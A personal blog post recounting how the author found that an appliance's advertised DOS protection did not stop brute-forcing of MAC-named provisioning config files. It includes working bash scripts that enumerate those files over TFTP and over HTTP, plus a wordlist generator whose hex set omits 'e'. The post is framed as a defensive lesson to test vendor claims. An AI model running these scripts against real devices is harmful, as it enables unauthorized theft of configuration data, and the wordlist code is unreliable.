Skip to content

Lessons Learned

I recently found a pretty big issue with an appliance I work with. The manufacturer documentation stated that a local TFTP service to appliance was protected by DOS detection and mitigation. This should block any TFTP brute force attacks on the appliance. However, because of quite a few circumstances we were running into we started to wonder if it were true. I ended up throwing together a proof of concept and was able to successfully brute force a production appliance.

This post isn’t really about the product or bash snippets. As the title suggest, I feel like it’s been an important lesson. It’s one thing to configure a server on a network and install the services you want, restrict ssh, maybe some source IP rules. It’s another thing to receive a pre-configured appliance. Since I came on with my current location I was always told how this product worked, what it allowed and didn’t. I never thought to ever put feet to the fire. I’m not one to put faith in much of anything, but I can say I did with this product. It was installed in many situations which fully relied on local security of the device, not a layered approach. I often run nmap against something I’ve configured to check for open/closed TCP ports, but I’ve never attempted to ensure that something like a denial of service daemon was actually doing it’s job. After multiple breaches on this product, I had to find out for sure.

 

TFTP brute forcing isn’t anything new, but I couldn’t find any clean scripts on the web. Most that I did just ended up actually creating errors as they made requests against the server but never actually accepted any data blocks. The client never sent an ACK so the server was just error-ing out on me and likely crashing the service. I first I thought this was DOS kicking in, but I couldn’t find any rhyme or reason. I injected some sleep # values into the scripts but couldn’t seem to determine what the DOS detection thresh-hold was. I was suspicious that it was crashing, not blocking. Next solution then, make a quick and dirty script to do this myself.

#!/bin/bash

while getopts "h:l:" opt; do
case "${opt}" in
h) server=$OPTARG
;;
l) listPath=$OPTARG
;;
esac
done

maclist=$(cat "$listPath")
for mac in $maclist;
do
 tftp ${server} <<EOF
 timeout 3
 rexmt 2
 get ${mac}
 quit 
EOF
if [ ! -s ${mac} ] ; then
 rm ${mac}
fi

done

 

I’m not going to win any medals with this but it’s just a proof. Also no error catching, so syntax is..

./tftpbash.sh -h <target host> -l <wordlist>

The next thing is generating a reasonable wordlist. This is also the reason why this not being protected is such a big issue… This product keeps it’s config files named by MAC address, so if we know the UID, then 6 characters are already done for us. LeavingĀ 16,777,216 possibilities. That still may sound like a lot but if you can determine that most devices are something like UID:4X:XX:XX, you just saved yourself 15,728,640 guesses. Generating a word list is pretty simple,

printf "%s\n " "00ABCDE"{0,1,2,3,4,5,6,7,8,9,a,b,c,d,f}{0,1,2,3,4,5,6,7,8,9,a,b,c,d,f}{0,1,2,3,4,5,6,7,8,9,a,b,c,d,f}{0,1,2,3,4,5,6,7,8,9,a,b,c,d,f}{0,1,2,3,4,5,6,7,8,9,a,b,c,d,f}".cfg" > wordlist.txt

And that’s it. As simple as it is to do, it really is a problem. The device also has the ability to use HTTP rather than TFTP. But to add insult to injury, that’s brute force-able as well.

 

#!/bin/bash


while getopts "h:l:" opt; do
case "${opt}" in
h) server=$OPTARG
;;
l) listPath=$OPTARG
;;
esac
done
failread=failed.txt
echo $failread
maclist=$(cat "$listPath")
echo $maclist

for mac in $maclist;
do
 curl ${server}:8080/tftpphone/${mac} > ${mac}
diff -q failed.txt ${mac} > /dev/null
if [[ $? == 0 ]]
then
 rm ${mac}
fi

done

 

The above script uses a file to <diff> against, pasted below. Must be in same directory as execution pwd. This stops un-needed files from being written.

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

 

Same syntax on the http script, and same result.

 

 

So again, a valuable lesson. Test and Verify. You could be putting a soft target out there without knowing it.